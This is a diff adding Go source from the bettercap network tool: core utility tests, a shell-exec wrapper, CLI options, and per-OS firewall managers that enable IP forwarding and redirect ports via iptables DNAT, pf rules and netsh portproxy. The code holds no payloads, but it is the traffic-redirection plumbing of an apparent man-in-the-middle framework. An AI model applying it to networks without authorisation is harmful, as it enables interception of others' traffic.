@@ -0,0 +1,99 @@
+package core
+
+import (
+	"os"
+	"testing"
+
+	"github.com/evilsocket/islazy/fs"
+)
+
+func hasInt(a []int, v int) bool {
+	for _, n := range a {
+		if n == v {
+			return true
+		}
+	}
+	return false
+}
+
+func sameInts(a []int, b []int, ordered bool) bool {
+	if len(a) != len(b) {
+		return false
+	}
+
+	if ordered {
+		for i, v := range a {
+			if v != b[i] {
+				return false
+			}
+		}
+	} else {
+		for _, v := range a {
+			if !hasInt(b, v) {
+				return false
+			}
+		}
+	}
+
+	return true
+}
+
+func TestCoreUniqueIntsUnsorted(t *testing.T) {
+	var units = []struct {
+		from []int
+		to   []int
+	}{
+		{[]int{}, []int{}},
+		{[]int{1, 1, 1, 1, 1}, []int{1}},
+		{[]int{1, 2, 1, 2, 3, 4}, []int{1, 2, 3, 4}},
+		{[]int{4, 3, 4, 3, 2, 2}, []int{4, 3, 2}},
+		{[]int{8, 3, 8, 4, 6, 1}, []int{8, 3, 4, 6, 1}},
+	}
+
+	for _, u := range units {
+		got := UniqueInts(u.from, false)
+		if !sameInts(got, u.to, false) {
+			t.Fatalf("expected '%v', got '%v'", u.to, got)
+		}
+	}
+}
+
+func TestCoreUniqueIntsSorted(t *testing.T) {
+	var units = []struct {
+		from []int
+		to   []int
+	}{
+		{[]int{}, []int{}},
+		{[]int{1, 1, 1, 1, 1}, []int{1}},
+		{[]int{1, 2, 1, 2, 3, 4}, []int{1, 2, 3, 4}},
+		{[]int{4, 3, 4, 3, 2, 2}, []int{2, 3, 4}},
+		{[]int{8, 3, 8, 4, 6, 1}, []int{1, 3, 4, 6, 8}},
+	}
+
+	for _, u := range units {
+		got := UniqueInts(u.from, true)
+		if !sameInts(got, u.to, true) {
+			t.Fatalf("expected '%v', got '%v'", u.to, got)
+		}
+	}
+}
+
+func TestCoreExists(t *testing.T) {
+	var units = []struct {
+		what   string
+		exists bool
+	}{
+		{".", true},
+		{"/", true},
+		{"wuuut", false},
+		{"/wuuu.t", false},
+		{os.Args[0], true},
+	}
+
+	for _, u := range units {
+		got := fs.Exists(u.what)
+		if got != u.exists {
+			t.Fatalf("expected '%v', got '%v'", u.exists, got)
+		}
+	}
+}

+ 7 - 0
bettercap/core/core_unix.go

@@ -0,0 +1,7 @@
+// +build !windows,!android
+
+package core
+
+func Shell(cmd string) (string, error) {
+	return Exec("/bin/sh", []string{"-c", cmd})
+}

+ 5 - 0
bettercap/core/core_windows.go

@@ -0,0 +1,5 @@
+package core
+
+func Shell(cmd string) (string, error) {
+	return Exec("cmd.exe", []string{"/c", cmd})
+}

+ 2 - 0
bettercap/core/doc.go

@@ -0,0 +1,2 @@
+// Package core contains basic utility functions.
+package core

+ 49 - 0
bettercap/core/options.go

@@ -0,0 +1,49 @@
+package core
+
+import (
+	"flag"
+)
+
+type Options struct {
+	InterfaceName *string
+	Gateway       *string
+	Caplet        *string
+	AutoStart     *string
+	Debug         *bool
+	Silent        *bool
+	NoColors      *bool
+	NoHistory     *bool
+	PrintVersion  *bool
+	EnvFile       *string
+	Commands      *string
+	CpuProfile    *string
+	MemProfile    *string
+	CapletsPath   *string
+	Script        *string
+	PcapBufSize   *int
+}
+
+func ParseOptions() (Options, error) {
+	o := Options{
+		InterfaceName: flag.String("iface", "", "Network interface to bind to, if empty the default interface will be auto selected."),
+		Gateway:       flag.String("gateway-override", "", "Use the provided IP address instead of the default gateway. If not specified or invalid, the default gateway will be used."),
+		AutoStart:     flag.String("autostart", "events.stream", "Comma separated list of modules to auto start."),
+		Caplet:        flag.String("caplet", "", "Read commands from this file and execute them in the interactive session."),
+		Debug:         flag.Bool("debug", false, "Print debug messages."),
+		PrintVersion:  flag.Bool("version", false, "Print the version and exit."),
+		Silent:        flag.Bool("silent", false, "Suppress all logs which are not errors."),
+		NoColors:      flag.Bool("no-colors", false, "Disable output color effects."),
+		NoHistory:     flag.Bool("no-history", false, "Disable interactive session history file."),
+		EnvFile:       flag.String("env-file", "", "Load environment variables from this file if found, set to empty to disable environment persistence."),
+		Commands:      flag.String("eval", "", "Run one or more commands separated by ; in the interactive session, used to set variables via command line."),
+		CpuProfile:    flag.String("cpu-profile", "", "Write cpu profile `file`."),
+		MemProfile:    flag.String("mem-profile", "", "Write memory profile to `file`."),
+		CapletsPath:   flag.String("caplets-path", "", "Specify an alternative base path for caplets."),
+		Script:        flag.String("script", "", "Load a session script."),
+		PcapBufSize:   flag.Int("pcap-buf-size", -1, "PCAP buffer size, leave to 0 for the default value."),
+	}
+
+	flag.Parse()
+
+	return o, nil
+}

+ 2 - 0
bettercap/firewall/doc.go

@@ -0,0 +1,2 @@
+// Package firewall contains the OS specific implementation of the FirewallManager interface.
+package firewall

+ 8 - 0
bettercap/firewall/firewall.go

@@ -0,0 +1,8 @@
+package firewall
+
+type FirewallManager interface {
+	IsForwardingEnabled() bool
+	EnableForwarding(enabled bool) error
+	EnableRedirection(r *Redirection, enabled bool) error
+	Restore()
+}

+ 177 - 0
bettercap/firewall/firewall_darwin.go

@@ -0,0 +1,177 @@
+package firewall
+
+import (
+	"bufio"
+	"fmt"
+	"io/ioutil"
+	"log"
+	"os"
+	"regexp"
+	"strings"
+
+	"github.com/bettercap/bettercap/core"
+	"github.com/bettercap/bettercap/network"
+
+	"github.com/evilsocket/islazy/str"
+)
+
+var (
+	sysCtlParser = regexp.MustCompile(`([^:]+):\s*(.+)`)
+	pfFilePath   = fmt.Sprintf("/tmp/bcap_pf_%d.conf", os.Getpid())
+)
+
+type PfFirewall struct {
+	iface      *network.Endpoint
+	filename   string
+	forwarding bool
+	enabled    bool
+}
+
+func Make(iface *network.Endpoint) FirewallManager {
+	firewall := &PfFirewall{
+		iface:      iface,
+		filename:   pfFilePath,
+		forwarding: false,
+		enabled:    false,
+	}
+
+	firewall.forwarding = firewall.IsForwardingEnabled()
+
+	return firewall
+}
+
+func (f PfFirewall) sysCtlRead(param string) (string, error) {
+	if out, err := core.Exec("sysctl", []string{param}); err != nil {
+		return "", err
+	} else if m := sysCtlParser.FindStringSubmatch(out); len(m) == 3 && m[1] == param {
+		return m[2], nil
+	} else {
+		return "", fmt.Errorf("Unexpected sysctl output: %s", out)
+	}
+}
+
+func (f PfFirewall) sysCtlWrite(param string, value string) (string, error) {
+	args := []string{"-w", fmt.Sprintf("%s=%s", param, value)}
+	_, err := core.Exec("sysctl", args)
+	if err != nil {
+		return "", err
+	}
+
+	// make sure we actually wrote the value
+	if out, err := f.sysCtlRead(param); err != nil {
+		return "", err
+	} else if out != value {
+		return "", fmt.Errorf("Expected value for '%s' is %s, found %s", param, value, out)
+	} else {
+		return out, nil
+	}
+}
+
+func (f PfFirewall) IsForwardingEnabled() bool {
+	out, err := f.sysCtlRead("net.inet.ip.forwarding")
+	if err != nil {
+		log.Printf("ERROR: %s", err)
+		return false
+	}
+
+	return strings.HasSuffix(out, ": 1")
+}
+
+func (f PfFirewall) enableParam(param string, enabled bool) error {
+	var value string
+	if enabled {
+		value = "1"
+	} else {
+		value = "0"
+	}
+
+	if _, err := f.sysCtlWrite(param, value); err != nil {
+		return err
+	} else {
+		return nil
+	}
+}
+
+func (f PfFirewall) EnableForwarding(enabled bool) error {
+	return f.enableParam("net.inet.ip.forwarding", enabled)
+}
+
+func (f PfFirewall) generateRule(r *Redirection) string {
+	src_a := "any"
+	dst_a := "any"
+
+	if r.SrcAddress != "" {
+		src_a = r.SrcAddress
+	}
+
+	if r.DstAddress != "" {
+		dst_a = r.DstAddress
+	}
+
+	return fmt.Sprintf("rdr pass on %s proto %s from any to %s port %d -> %s port %d",
+		r.Interface, r.Protocol, src_a, r.SrcPort, dst_a, r.DstPort)
+}
+
+func (f *PfFirewall) enable(enabled bool) {
+	f.enabled = enabled
+	if enabled {
+		core.Exec("pfctl", []string{"-e"})
+	} else {
+		core.Exec("pfctl", []string{"-d"})
+	}
+}
+
+func (f PfFirewall) EnableRedirection(r *Redirection, enabled bool) error {
+	rule := f.generateRule(r)
+
+	if enabled {
+		fd, err := os.OpenFile(f.filename, os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0600)
+		if err != nil {
+			return err
+		}
+		defer fd.Close()
+
+		if _, err = fd.WriteString(rule + "\n"); err != nil {
+			return err
+		}
+
+		// enable pf
+		f.enable(true)
+
+		// load the rule
+		if _, err := core.Exec("pfctl", []string{"-f", f.filename}); err != nil {
+			return err
+		}
+	} else {
+		fd, err := os.Open(f.filename)
+		if err == nil {
+			defer fd.Close()
+
+			lines := ""
+			scanner := bufio.NewScanner(fd)
+			for scanner.Scan() {
+				line := str.Trim(scanner.Text())
+				if line != rule {
+					lines += line + "\n"
+				}
+			}
+
+			if str.Trim(lines) == "" {
+				os.Remove(f.filename)
+				f.enable(false)
+			} else {
+				ioutil.WriteFile(f.filename, []byte(lines), 0600)
+			}
+		}
+	}
+
+	return nil
+}
+
+func (f PfFirewall) Restore() {
+	f.EnableForwarding(f.forwarding)
+	if f.enabled {
+		f.enable(false)
+	}
+	os.Remove(f.filename)
+}

+ 168 - 0
bettercap/firewall/firewall_linux.go

@@ -0,0 +1,168 @@
+package firewall
+
+import (
+	"fmt"
+	"io/ioutil"
+	"os"
+	"strings"
+
+	"github.com/bettercap/bettercap/core"
+	"github.com/bettercap/bettercap/network"
+
+	"github.com/evilsocket/islazy/fs"
+	"github.com/evilsocket/islazy/str"
+)
+
+type LinuxFirewall struct {
+	iface        *network.Endpoint
+	forwarding   bool
+	redirections map[string]*Redirection
+}
+
+const (
+	IPV4ForwardingFile = "/proc/sys/net/ipv4/ip_forward"
+	IPV6ForwardingFile = "/proc/sys/net/ipv6/conf/all/forwarding"
+)
+
+func Make(iface *network.Endpoint) FirewallManager {
+	firewall := &LinuxFirewall{
+		iface:        iface,
+		forwarding:   false,
+		redirections: make(map[string]*Redirection),
+	}
+
+	firewall.forwarding = firewall.IsForwardingEnabled()
+
+	return firewall
+}
+
+func (f LinuxFirewall) enableFeature(filename string, enable bool) error {
+	var value string
+	if enable {
+		value = "1"
+	} else {
+		value = "0"
+	}
+
+	fd, err := os.OpenFile(filename, os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0600)
+	if err != nil {
+		return err
+	}
+	defer fd.Close()
+
+	_, err = fd.WriteString(value)
+	return err
+}
+
+func (f LinuxFirewall) IsForwardingEnabled() bool {
+
+	if out, err := ioutil.ReadFile(IPV4ForwardingFile); err != nil {
+		return false
+	} else {
+		return str.Trim(string(out)) == "1"
+	}
+}
+
+func (f LinuxFirewall) EnableForwarding(enabled bool) error {
+	if err := f.enableFeature(IPV4ForwardingFile, enabled); err != nil {
+		return err
+	}
+
+	if fs.Exists(IPV6ForwardingFile) {
+		return f.enableFeature(IPV6ForwardingFile, enabled)
+	}
+
+	return nil
+}
+
+func (f *LinuxFirewall) getCommandLine(r *Redirection, enabled bool) (cmdLine []string) {
+	action := "-A"
+	destination := ""
+
+	if !enabled {
+		action = "-D"
+	}
+
+	if strings.Count(r.DstAddress, ":") < 2 {
+		destination = r.DstAddress
+	} else {
+		destination = fmt.Sprintf("[%s]", r.DstAddress)
+	}
+
+	if r.SrcAddress == "" {
+		cmdLine = []string{
+			"-t", "nat",
+			action, "PREROUTING",
+			"-i", r.Interface,
+			"-p", r.Protocol,
+			"--dport", fmt.Sprintf("%d", r.SrcPort),
+			"-j", "DNAT",
+			"--to", fmt.Sprintf("%s:%d", destination, r.DstPort),
+		}
+	} else {
+		cmdLine = []string{
+			"-t", "nat",
+			action, "PREROUTING",
+			"-i", r.Interface,
+			"-p", r.Protocol,
+			"-d", r.SrcAddress,
+			"--dport", fmt.Sprintf("%d", r.SrcPort),
+			"-j", "DNAT",
+			"--to", fmt.Sprintf("%s:%d", destination, r.DstPort),
+		}
+	}
+
+	return
+}
+
+func (f *LinuxFirewall) EnableRedirection(r *Redirection, enabled bool) error {
+	cmdLine := f.getCommandLine(r, enabled)
+	rkey := r.String()
+	_, found := f.redirections[rkey]
+	cmd := ""
+
+	if strings.Count(r.DstAddress, ":") < 2 {
+		cmd = "iptables"
+	} else {
+		cmd = "ip6tables"
+	}
+
+	if enabled {
+		if found {
+			return fmt.Errorf("Redirection '%s' already enabled.", rkey)
+		}
+
+		f.redirections[rkey] = r
+
+		// accept all
+		if _, err := core.Exec(cmd, []string{"-P", "FORWARD", "ACCEPT"}); err != nil {
+			return err
+		} else if _, err := core.Exec(cmd, cmdLine); err != nil {
+			return err
+		}
+	} else {
+		if !found {
+			return nil
+		}
+
+		delete(f.redirections, r.String())
+
+		if _, err := core.Exec(cmd, cmdLine); err != nil {
+			return err
+		}
+	}
+
+	return nil
+}
+
+func (f LinuxFirewall) Restore() {
+	for _, r := range f.redirections {
+		if err := f.EnableRedirection(r, false); err != nil {
+			fmt.Printf("%s", err)
+		}
+	}
+
+	if err := f.EnableForwarding(f.forwarding); err != nil {
+		fmt.Printf("%s", err)
+	}
+}

+ 119 - 0
bettercap/firewall/firewall_windows.go

@@ -0,0 +1,119 @@
+package firewall
+
+import (
+	"fmt"
+	"strings"
+
+	"github.com/bettercap/bettercap/core"
+	"github.com/bettercap/bettercap/network"
+)
+
+type WindowsFirewall struct {
+	iface        *network.Endpoint
+	forwarding   bool
+	redirections map[string]*Redirection
+}
+
+func Make(iface *network.Endpoint) FirewallManager {
+	firewall := &WindowsFirewall{
+		iface:        iface,
+		forwarding:   false,
+		redirections: make(map[string]*Redirection, 0),
+	}
+
+	firewall.forwarding = firewall.IsForwardingEnabled()
+
+	return firewall
+}
+
+func (f WindowsFirewall) IsForwardingEnabled() bool {
+	if out, err := core.Exec("netsh", []string{"interface", "ipv4", "dump"}); err != nil {
+		fmt.Printf("%s\n", err)
+		return false
+	} else {
+		return strings.Contains(out, "forwarding=enabled")
+	}
+}
+
+func (f WindowsFirewall) EnableForwarding(enabled bool) error {
+	v := "enabled"
+	if enabled == false {
+		v = "disabled"
+	}
+
+	if _, err := core.Exec("netsh", []string{"interface", "ipv4", "set", "interface", fmt.Sprintf("%d", f.iface.Index), fmt.Sprintf("forwarding=\"%s\"", v)}); err != nil {
+		return err
+	}
+
+	return nil
+}
+
+func (f WindowsFirewall) generateRule(r *Redirection, enabled bool) []string {
+	// https://stackoverflow.com/questions/24646165/netsh-port-forwarding-from-local-port-to-local-port-not-working
+	rule := []string{
+		fmt.Sprintf("listenport=%d", r.SrcPort),
+	}
+
+	if enabled {
+		rule = append(rule, fmt.Sprintf("connectport=%d", r.DstPort))
+		rule = append(rule, fmt.Sprintf("connectaddress=%s", r.DstAddress))
+		rule = append(rule, fmt.Sprintf("protocol=%s", r.Protocol))
+	}
+
+	return rule
+}
+
+func (f *WindowsFirewall) AllowPort(port int, address string, proto string, allow bool) error {
+	ruleName := fmt.Sprintf("bettercap-rule-%s-%s-%d", address, proto, port)
+	nameField := fmt.Sprintf(`name="%s"`, ruleName)
+	protoField := fmt.Sprintf("protocol=%s", proto)
+	// ipField := fmt.Sprintf("lolcalip=%s", address)
+	portField := fmt.Sprintf("localport=%d", port)
+
+	cmd := []string{}
+
+	if allow {
+		cmd = []string{"advfirewall", "firewall", "add", "rule", nameField, protoField, "dir=in", portField, "action=allow"}
+	} else {
+		cmd = []string{"advfirewall", "firewall", "delete", "rule", nameField, protoField, portField}
+	}
+
+	if _, err := core.Exec("netsh", cmd); err != nil {
+		return err
+	}
+
+	return nil
+}
+
+func (f *WindowsFirewall) EnableRedirection(r *Redirection, enabled bool) error {
+	if err := f.AllowPort(r.SrcPort, r.DstAddress, r.Protocol, enabled); err != nil {
+		return err
+	} else if err := f.AllowPort(r.DstPort, r.DstAddress, r.Protocol, enabled); err != nil {
+		return err
+	}
+
+	rule := f.generateRule(r, enabled)
+	if enabled {
+		rule = append([]string{"interface", "portproxy", "add", "v4tov4"}, rule...)
+	} else {
+		rule = append([]string{"interface", "portproxy", "delete", "v4tov4"}, rule...)
+	}
+
+	if _, err := core.Exec("netsh", rule); err != nil {
+		return err
+	}
+
+	return nil
+}
+
+func (f WindowsFirewall) Restore() {
+	for _, r := range f.redirections {
+		if err := f.EnableRedirection(r, false); err != nil {
+			fmt.Printf("%s", err)
+		}
+	}
+
+	if err := f.EnableForwarding(f.forwarding); err != nil {
+		fmt.Printf("%s", err)
+	}
+}

+ 27 - 0
bettercap/firewall/redirection.go

@@ -0,0 +1,27 @@
+package firewall
+
+import "fmt"
+
+type Redirection struct {
+	Interface  string
+	Protocol   string
+	SrcAddress string
+	SrcPort    int
+	DstAddress string
+	DstPort    int
+}
+
+func NewRedirection(iface string, proto string, port_from int, addr_to string, port_to int) *Redirection {
+	return &Redirection{
+		Interface:  iface,
+		Protocol:   proto,
+		SrcAddress: "",
+		SrcPort:    port_from,
+		DstAddress: addr_to,
+		DstPort:    port_to,
+	}
+}
+
+func (r Redirection) String() string {
+	return fmt.Sprintf("[%s] (%s) %s:%d -> %s:%d", r.Interface, r.Protocol, r.SrcAddress, r.SrcPort, r.DstAddress, r.DstPort)
+}

+ 48 - 0
bettercap/go.mod

@@ -0,0 +1,48 @@
+module github.com/bettercap/bettercap
+
+go 1.16
+
+require (
+	github.com/acarl005/stripansi v0.0.0-20180116102854-5a71ef0e047d
+	github.com/adrianmo/go-nmea v1.3.0
+	github.com/antchfx/jsonquery v1.1.4
+	github.com/antchfx/xpath v1.2.0 // indirect
+	github.com/bettercap/gatt v0.0.0-20210514133428-df6e615f2f67
+	github.com/bettercap/nrf24 v0.0.0-20190219153547-aa37e6d0e0eb
+	github.com/bettercap/readline v0.0.0-20210228151553-655e48bcb7bf
+	github.com/bettercap/recording v0.0.0-20190408083647-3ce1dcf032e3
+	github.com/chifflier/nfqueue-go v0.0.0-20170228160439-61ca646babef
+	github.com/chzyer/logex v1.1.10 // indirect
+	github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1 // indirect
+	github.com/dustin/go-humanize v1.0.0
+	github.com/elazarl/goproxy v0.0.0-20210801061803-8e322dfb79c4
+	github.com/elazarl/goproxy/ext v0.0.0-20210110162100-a92cc753f88e // indirect
+	github.com/evilsocket/islazy v1.10.6
+	github.com/gobwas/glob v0.0.0-20181002190808-e7a84e9525fe
+	github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da // indirect
+	github.com/google/go-cmp v0.5.5 // indirect
+	github.com/google/go-github v17.0.0+incompatible
+	github.com/google/go-querystring v1.1.0 // indirect
+	github.com/google/gopacket v1.1.19
+	github.com/google/gousb v1.1.2
+	github.com/gorilla/mux v1.8.0
+	github.com/gorilla/websocket v1.4.2
+	github.com/hashicorp/mdns v1.0.4
+	github.com/inconshreveable/go-vhost v0.0.0-20160627193104-06d84117953b
+	github.com/jpillora/go-tld v1.1.1
+	github.com/kr/binarydist v0.1.0 // indirect
+	github.com/malfunkt/iprange v0.9.0
+	github.com/mattn/go-isatty v0.0.13 // indirect
+	github.com/mdlayher/dhcp6 v0.0.0-20190311162359-2a67805d7d0b
+	github.com/miekg/dns v1.1.43
+	github.com/mitchellh/go-homedir v1.1.0
+	github.com/pkg/errors v0.9.1 // indirect
+	github.com/robertkrimen/otto v0.0.0-20210614181706-373ff5438452
+	github.com/stratoberry/go-gpsd v1.0.0
+	github.com/tarm/serial v0.0.0-20180830185346-98f6abe2eb07
+	github.com/thoj/go-ircevent v0.0.0-20210723090443-73e444401d64
+	golang.org/x/net v0.0.0-20210813160813-60bc85c4be6d
+	golang.org/x/sys v0.0.0-20210820121016-41cdb8703e55 // indirect
+	golang.org/x/text v0.3.7 // indirect
+	gopkg.in/sourcemap.v1 v1.0.5 // indirect
+)

+ 149 - 0
bettercap/go.sum

@@ -0,0 +1,149 @@
+github.com/acarl005/stripansi v0.0.0-20180116102854-5a71ef0e047d h1:licZJFw2RwpHMqeKTCYkitsPqHNxTmd4SNR5r94FGM8=
+github.com/acarl005/stripansi v0.0.0-20180116102854-5a71ef0e047d/go.mod h1:asat636LX7Bqt5lYEZ27JNDcqxfjdBQuJ/MM4CN/Lzo=
+github.com/adrianmo/go-nmea v1.3.0 h1:BFrLRj/oIh+DYujIKpuQievq7X3NDHYq57kNgsfr2GY=
+github.com/adrianmo/go-nmea v1.3.0/go.mod h1:u8bPnpKt/D/5rll/5l9f6iDfeq5WZW0+/SXdkwix6Tg=
+github.com/antchfx/jsonquery v1.1.4 h1:+OlFO3QS9wjU0MKx9MgHm5f6o6hdd4e9mUTp0wTjxlM=
+github.com/antchfx/jsonquery v1.1.4/go.mod h1:cHs8r6Bymd8j6HI6Ej1IJbjahKvLBcIEh54dfmo+E9A=
+github.com/antchfx/xpath v1.1.7/go.mod h1:Yee4kTMuNiPYJ7nSNorELQMr1J33uOpXDMByNYhvtNk=
+github.com/antchfx/xpath v1.2.0 h1:mbwv7co+x0RwgeGAOHdrKy89GvHaGvxxBtPK0uF9Zr8=
+github.com/antchfx/xpath v1.2.0/go.mod h1:i54GszH55fYfBmoZXapTHN8T8tkcHfRgLyVwwqzXNcs=
+github.com/bettercap/gatt v0.0.0-20210514133428-df6e615f2f67 h1:xzN6806c01hWTz8gjGsRjhOPlYj5/dNoZIR8CN9+O1c=
+github.com/bettercap/gatt v0.0.0-20210514133428-df6e615f2f67/go.mod h1:oafnPgaBI4gqJiYkueCyR4dqygiWGXTGOE0gmmAVeeQ=
+github.com/bettercap/nrf24 v0.0.0-20190219153547-aa37e6d0e0eb h1:JWAAJk4ny+bT3VrtcX+e7mcmWtWUeUM0xVcocSAUuWc=
+github.com/bettercap/nrf24 v0.0.0-20190219153547-aa37e6d0e0eb/go.mod h1:g6WiaSRgMTiChuk7jYyFSEtpgaw1F0wAsBfspG3bu0M=
+github.com/bettercap/readline v0.0.0-20210228151553-655e48bcb7bf h1:pwGPRc5PIp4KCF9QbKn0iLVMhfigUMw4IzGZEZ81m1I=
+github.com/bettercap/readline v0.0.0-20210228151553-655e48bcb7bf/go.mod h1:03rWiUf60r1miMVzMEtgtkq7RdZniecZFw3/Zgvyxcs=
+github.com/bettercap/recording v0.0.0-20190408083647-3ce1dcf032e3 h1:pC4ZAk7UtDIbrRKzMMiIL1TVkiKlgtgcJodqKB53Rl4=
+github.com/bettercap/recording v0.0.0-20190408083647-3ce1dcf032e3/go.mod h1:kqVwnx6DKuOHMZcBnzsgp2Lq2JZHDtFtm92b5hxdRaM=
+github.com/chifflier/nfqueue-go v0.0.0-20170228160439-61ca646babef h1:uhLIhHeIRlFbAI1mOHkz3vN23T+QdhA9MgnvnJaQyL0=
+github.com/chifflier/nfqueue-go v0.0.0-20170228160439-61ca646babef/go.mod h1:xn8SYXvxzI99iSN8+Kh3wCvt2fhr27vPPf8ju9FwRS0=
+github.com/chzyer/logex v1.1.10 h1:Swpa1K6QvQznwJRcfTfQJmTE72DqScAa40E+fbHEXEE=
+github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI=
+github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1 h1:q763qf9huN11kDQavWsoZXJNW3xEE4JJyHa5Q25/sd8=
+github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU=
+github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E=
+github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
+github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
+github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
+github.com/dustin/go-humanize v1.0.0 h1:VSnTsYCnlFHaM2/igO1h6X3HA71jcobQuxemgkq4zYo=
+github.com/dustin/go-humanize v1.0.0/go.mod h1:HtrtbFcZ19U5GC7JDqmcUSB87Iq5E25KnS6fMYU6eOk=
+github.com/elazarl/goproxy v0.0.0-20210801061803-8e322dfb79c4 h1:lS3P5Nw3oPO05Lk2gFiYUOL3QPaH+fRoI1wFOc4G1UY=
+github.com/elazarl/goproxy v0.0.0-20210801061803-8e322dfb79c4/go.mod h1:Ro8st/ElPeALwNFlcTpWmkr6IoMFfkjXAvTHpevnDsM=
+github.com/elazarl/goproxy/ext v0.0.0-20190711103511-473e67f1d7d2/go.mod h1:gNh8nYJoAm43RfaxurUnxr+N1PwuFV3ZMl/efxlIlY8=
+github.com/elazarl/goproxy/ext v0.0.0-20210110162100-a92cc753f88e h1:CQn2/8fi3kmpT9BTiHEELgdxAOQNVZc9GoPA4qnQzrs=
+github.com/elazarl/goproxy/ext v0.0.0-20210110162100-a92cc753f88e/go.mod h1:gNh8nYJoAm43RfaxurUnxr+N1PwuFV3ZMl/efxlIlY8=
+github.com/evilsocket/islazy v1.10.6 h1:MFq000a1ByoumoJWlytqg0qon0KlBeUfPsDjY0hK0bo=
+github.com/evilsocket/islazy v1.10.6/go.mod h1:OrwQGYg3DuZvXUfmH+KIZDjwTCbrjy48T24TUpGqVVw=
+github.com/gobwas/glob v0.0.0-20181002190808-e7a84e9525fe h1:8P+/htb3mwwpeGdJg69yBF/RofK7c6Fjz5Ypa/bTqbY=
+github.com/gobwas/glob v0.0.0-20181002190808-e7a84e9525fe/go.mod h1:d3Ez4x06l9bZtSvzIay5+Yzi0fmZzPgnTbPcKjJAkT8=
+github.com/golang/groupcache v0.0.0-20200121045136-8c9f03a8e57e/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=
+github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da h1:oI5xCqsCo564l8iNU+DwB5epxmsaqB+rhGL0m5jtYqE=
+github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=
+github.com/google/go-cmp v0.5.2/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
+github.com/google/go-cmp v0.5.5 h1:Khx7svrCpmxxtHBq5j2mp/xVjsi8hQMfNLvJFAlrGgU=
+github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
+github.com/google/go-github v17.0.0+incompatible h1:N0LgJ1j65A7kfXrZnUDaYCs/Sf4rEjNlfyDHW9dolSY=
+github.com/google/go-github v17.0.0+incompatible/go.mod h1:zLgOLi98H3fifZn+44m+umXrS52loVEgC2AApnigrVQ=
+github.com/google/go-querystring v1.1.0 h1:AnCroh3fv4ZBgVIf1Iwtovgjaw/GiKJo8M8yD/fhyJ8=
+github.com/google/go-querystring v1.1.0/go.mod h1:Kcdr2DB4koayq7X8pmAG4sNG59So17icRSOU623lUBU=
+github.com/google/gopacket v1.1.19 h1:ves8RnFZPGiFnTS0uPQStjwru6uO6h+nlr9j6fL7kF8=
+github.com/google/gopacket v1.1.19/go.mod h1:iJ8V8n6KS+z2U1A8pUwu8bW5SyEMkXJB8Yo/Vo+TKTo=
+github.com/google/gousb v1.1.2 h1:1BwarNB3inFTFhPgUEfah4hwOPuDz/49I0uX8XNginU=
+github.com/google/gousb v1.1.2/go.mod h1:GGWUkK0gAXDzxhwrzetW592aOmkkqSGcj5KLEgmCVUg=
+github.com/gorilla/mux v1.8.0 h1:i40aqfkR1h2SlN9hojwV5ZA91wcXFOvkdNIeFDP5koI=
+github.com/gorilla/mux v1.8.0/go.mod h1:DVbg23sWSpFRCP0SfiEN6jmj59UnW/n46BH5rLB71So=
+github.com/gorilla/websocket v1.4.2 h1:+/TMaTYc4QFitKJxsQ7Yye35DkWvkdLcvGKqM+x0Ufc=
+github.com/gorilla/websocket v1.4.2/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
+github.com/hashicorp/mdns v1.0.4 h1:sY0CMhFmjIPDMlTB+HfymFHCaYLhgifZ0QhjaYKD/UQ=
+github.com/hashicorp/mdns v1.0.4/go.mod h1:mtBihi+LeNXGtG8L9dX59gAEa12BDtBQSp4v/YAJqrc=
+github.com/inconshreveable/go-vhost v0.0.0-20160627193104-06d84117953b h1:IpLPmn6Re21F0MaV6Zsc5RdSE6KuoFpWmHiUSEs3PrE=
+github.com/inconshreveable/go-vhost v0.0.0-20160627193104-06d84117953b/go.mod h1:aA6DnFhALT3zH0y+A39we+zbrdMC2N0X/q21e6FI0LU=
+github.com/jpillora/go-tld v1.1.1 h1:P1ZwtKDHBYYUl235R/D64cdBARfGYzEy1Hg2Ikir3FQ=
+github.com/jpillora/go-tld v1.1.1/go.mod h1:kitBxOF//DR5FxYeIGw+etdiiTIq5S7bx0dwy1GUNAk=
+github.com/kr/binarydist v0.1.0 h1:6kAoLA9FMMnNGSehX0s1PdjbEaACznAv/W219j2uvyo=
+github.com/kr/binarydist v0.1.0/go.mod h1:DY7S//GCoz1BCd0B0EVrinCKAZN3pXe+MDaIZbXQVgM=
+github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI=
+github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
+github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI=
+github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE=
+github.com/malfunkt/iprange v0.9.0 h1:VCs0PKLUPotNVQTpVNszsut4lP7OCGNBwX+lOYBrnVQ=
